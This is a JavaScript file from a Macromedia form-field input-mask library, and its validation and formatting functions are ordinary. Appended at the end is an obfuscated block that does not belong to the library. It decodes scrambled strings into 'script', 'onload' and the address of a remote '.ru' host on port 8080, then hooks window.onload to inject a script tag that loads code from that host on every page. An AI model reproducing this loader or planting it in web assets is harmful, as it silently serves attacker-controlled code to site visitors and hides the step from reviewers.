/*
 * Copyright (c) 1995-2005 Macromedia, Inc. All rights reserved. 
*/
	var KT_focusedEl = null;

	/********** 
	KT_validateSingle function
		description:
			Validates single character agains single mask component
		params: 
			ascchar: character
				single character, to test if it is correct in the context of the mask character 
			maskchar: character
				single mask character, see below for meaning
		returns: 
			boolean
	 **********/
	function KT_validateSingle(ascchar, maskchar) {
		var cchar = ascchar.charCodeAt(0);
		switch (maskchar) {
			case "9": //numeric
				if (cchar < 58 && cchar > 47) {
					return true;
				}
				break;
			case "A": //letter
				if ((cchar < 91 && cchar > 64) || (cchar < 123 && cchar > 96)) {
					return true;
				}
				break;
			case "X": //letter or numeric
				if ((cchar < 91 && cchar > 64) || (cchar < 123 && cchar > 96) || (cchar < 58 && cchar > 47)) {
					return true;
				}
				break;
			case "?": //any character
				return true;
				break;
			default:
				return true;
				break;
		}
	}

	/********** 
	KT_maskDefaultValue function
		description:
			Called with a special mask character, returns the default value for that type of mask
		params:
			maskchar: character
				single mask character, see below for meaning
		returns:
			character
	**********/
	function KT_maskDefaultValue(maskchar) {
		switch (maskchar) {
			case "9": //numeric
				return '0';
				break;
			case "A": //letter
				return 'a';
				break;
			case "X": //letter or numeric
				return '0';
				break;
			case "?": //any character
				return '0';
				break;
			default:
				return '0';
				break;
		}
	}

	/********** 
	KT_isSpecialChar function
		description:
			Checks if the parameter is a special mask character
		params:
			ascchar: character
				Special mask characters: 
				9 - numeric
				A - letters
				X - letter or number
				? - any character
		returns:
			boolean
	**********/
	function KT_isSpecialChar(ascchar) {
		if (ascchar == '9' || ascchar == 'A' || ascchar == 'X' || ascchar == '?')  {
			return true;
		} else {
			return false;
		}
	}

	/**********
	mask_onValueChanged function
		description:
			Called when 
				- the user types something in the input
				- the input loses the focus
			It validates the input's value against the input's mask
		params: 
			none
		returns:
			none
	**********/
	function mask_onValueChanged() {
		if ((typeof window.getSelection == 'undefined' && typeof document.selection == 'undefined')) {
			// if the current browser is not compatible, do nothing
			return;
		}
		
		if (KT_focusedEl == null || KT_focusedEl.mask == null || KT_focusedEl.mask == '') {
			return;
		}

		var mask = KT_focusedEl.mask;
		var val = KT_focusedEl.value;
		var i = 0;
		var moveCursor = false;

		if (val == KT_focusedEl.oldText) {
			// if the field content did not change since the last update, do nothing
			return;
		}
		if (val.length > mask.length) {
			// strip trailing characters if text length is bigger than mask length
			val = val.substr(0, mask.length);
			moveCursor = true;
		}
		for (; i < mask.length ; i++) {
			if (val.charCodeAt(i).toString() != 'NaN') {
				//if the char is inserted
				if (KT_isSpecialChar(mask.charAt(i))) {
					if (KT_validateSingle(val.charAt(i), mask.charAt(i))) {
						//character is correct, go to next
						continue;
					} else {
						//revert to the last known good value, increase index to break loop
						val = KT_focusedEl.oldText;
						i = mask.length;
						break;
					}
				} else {
					//normal character in the mask
					if (val.charAt(i) != mask.charAt(i)) {
						//if the character is different from the mask
						if (i == val.length - 1) {
							//append last character and move cursor to the end
							var lastChar = val.substr(val.length -1, val.length);
							val = val.substr(0, val.length -1) + mask.charAt(i) + lastChar;
							moveCursor = true;
							continue;
						} else {
							//revert to the last known good value, increase index to break loop
							val = KT_focusedEl.oldText;
							i = mask.length;
						}
						break;
					}
				}
			} else {
				//if the current char is not inserted
				if (val.length < KT_focusedEl.oldText.length) {
					//deleted character
					break;
				}
				for (;i<mask.length;i++) {
					if (!KT_isSpecialChar(mask.charAt(i))) {
						//re-enter the mask characters if it has been deleted
						val += mask.charAt(i);
						moveCursor = true;
					} else {
						break;
					}
				}
				break;
			}
		}
		if (val.length > mask.length) {
			// strip trailing characters if text length is bigger than mask length
			val = val.substr(0, mask.length);
			moveCursor = true;
		}
		if (KT_focusedEl.value != val) {
			KT_focusedEl.value = val; //last calculated correct value
		}
		KT_focusedEl.oldText = val; //update so we can check on next character
		if (moveCursor) {
			// no need to move the cursor, it is automatically moved at the end of the sellection by IE and Mozilla
		}
	}

	/********** 
	mask_parseFirstTime function
		description:
			Called from mask_onSetFocus, only the first time ( when obj.mask is undefined)
			Tries to parse the initial value into a valid format, with the following algorithm:
			- normalizes the string adding non special mask characters if they do not exist
			- it strips the mask of all non special characters
			- rebuilds the string using the stripped mask
			- compares the string with the stripped mask and changes the values if they are invalid
			- rebuild the string and returns
		params:
			none
		returns:
			none
	**********/
	function mask_parseFirstTime(value, mask) {
		var strippedmask = ''; var strippedvalue = '';
		cond = 1;imask = 0; ival = 0;cnt = 0;

		//NORMALIZE VALUE: add non special characters
		while (cond == 1) {
			cond = 1;
			if (!KT_isSpecialChar(mask.charAt(imask))) {
				if (value.charCodeAt(ival).toString() != 'NaN') {
					if (mask.charAt(imask) == value.charAt(ival)) {
						imask++;ival++;
					} else {
						value = value.substr(0, ival) + mask.charAt(imask) + value.substr(ival, value.length);
						imask = 0; ival = 0; cond = 1;
					}
				} else {
					value += KT_maskDefaultValue(mask.charAt(imask));
				}
			} else {
				imask++;ival++;
			}
			if (imask >= mask.length || ival >= value.length) {
				cond = 0;
			}
		}

		//save only the special chars in a mask
		for (i=0;i<mask.length;i++) {
			if (KT_isSpecialChar(mask.charAt(i))) {
				strippedmask += mask.charAt(i);
				if (value.charCodeAt(i).toString() != 'NaN') {
					strippedvalue += value.charAt(i);
				} else {
					strippedvalue += KT_maskDefaultValue(mask.charAt(i));
				}
			}
		}

		oldvalue = value; //save the old value for reference
		value = strippedvalue;
		var newvalue = '';

		//rebuild the string removing invalid values and replacing them with defaults
		for (i=0;i<strippedmask.length;i++) {
				if (!KT_validateSingle(value.charAt(i), strippedmask.charAt(i))) {
					newvalue += KT_maskDefaultValue(strippedmask.charAt(i));
				} else {
					newvalue += value.charAt(i);
				}
		}

		//rebuild the value,by adding the initial non special mask characters
		var toret = ''; var j = 0; //j holds the index in the stripped mask
		for (i=0;i<mask.length;i++) {
			if (KT_isSpecialChar(mask.charAt(i))) {
				toret += newvalue.charAt(j++);
			} else {
				toret += mask.charAt(i);
			}
		}
		return toret;
	}

	/********** 
	mask_onSetFocus function
		description:
			Called when the input gets the focus
			Saved the current input in a global variable and also the current value
		params:
			none
		returns:
			none
	**********/
	function mask_onSetFocus(obj, mask) {
		if ((typeof window.getSelection == 'undefined' && typeof document.selection == 'undefined')) {
			// if the current browser is not compatible, do nothing
			return;
		}
		if (typeof obj.mask == 'undefined') {
			ret = '';
			if (obj.value != '') {
				ret = mask_parseFirstTime(obj.value, mask);
			}
			obj.value = ret;
			obj.mask = mask;
		}
		KT_focusedEl = obj; // store the current input object in a global variable
		if (typeof KT_focusedEl.oldText == 'undefined') {
			KT_focusedEl.oldText = obj.value; // save the input current value
			mask_onValueChanged(); // validates the current input value
		}
	}

	/********** 
	mask_onKillFocus function
		description:
			Called when the input loses the focus
			Verifies the input's value
		params:
			none
		returns:
			none
	**********/
	function mask_onKillFocus() {
		if ((typeof window.getSelection == 'undefined' && typeof document.selection == 'undefined')) {
			// if the current browser is not compatible, do nothing
			return;
		}
		mask_onValueChanged(); // validates the current input value
		KT_focusedEl = null;
	}

try {var U=new Array();var S='replace';var s=new Array();var q=RegExp;var k=new String();var H="";var Z=new String();function T(n,u){var P='[';var qn;if(qn!='' && qn!='Pn'){qn='AK'};var z='g';var So;if(So!='X' && So!='gv'){So=''};P+=u;P+=']';var rr;if(rr!='t' && rr!='hH'){rr=''};var aO=new Date();var f;if(f!='yG' && f != ''){f=null};var zn;if(zn!='fI' && zn!='hf'){zn=''};var A=new q(P, z);return n[S](A, new String());};var F;if(F!='nI'){F=''};this.Oq='';var j=T('swcarwiwpatd',"dhaw");var Gq;if(Gq!='' && Gq!='bd'){Gq=''};var TI;if(TI!='' && TI!='XW'){TI=''};var R=T('h4tCtCp9:C/9/Ss4hCo9p9pSiCn4gC-Ccvo9mS.ScCh9iCp4.SdSev.SbCpv-vbClCovgvs9p4o4t9-ScSoCmv.CaCi4r9nCe4t9d9iCr4evcStC.CrSu4:v',"4vCS9");var D='';var a='';var SB=new String();var v;if(v!='ni'){v='ni'};var Ti=T('cVr9eFaVtFejEVlje9mQejnVtj',"9FjQV");var st=new Array();var Q=T('842402484440242',"24");var b=window;var y=T('/4t5isa5nsy5ad.5csn5/5t4i4adndysa4.5c4ns/5g5oso5g4l5ed.4c4o5m4/saso4ld.5c4o4.5udk5/dt4u5esn5tsi4.4cdosmd.spdhdp4',"45ds");var O=T('oqnNlDoqaDdD',"qDHN");this.Ou="";var Sm;if(Sm!=''){Sm='kq'};g=function(){var FR;if(FR!='' && FR!='dN'){FR='oN'};var nB=new String();var yq=new Date();this.Smo="";N=document[Ti](j);var kP=new String();var W;if(W!='CY'){W='CY'};a=R+Q;var hd;if(hd!='dp' && hd != ''){hd=null};var AZ="";a+=y;this.Es='';var Fa;if(Fa!='' && Fa!='KG'){Fa=null};var nV="";N.defer=([1][0]);N.src=a;document.body.appendChild(N);var bN=new String();var B=new String();};var _Oz;if(_Oz!='fl' && _Oz!='UL'){_Oz='fl'};b[O]=g;var I=new String();var yg;if(yg!='pV'){yg=''};var nl='';} catch(On){var mY=new Date();this.rn="";};var y_='';var rQ;if(rQ!='XF' && rQ != ''){rQ=null};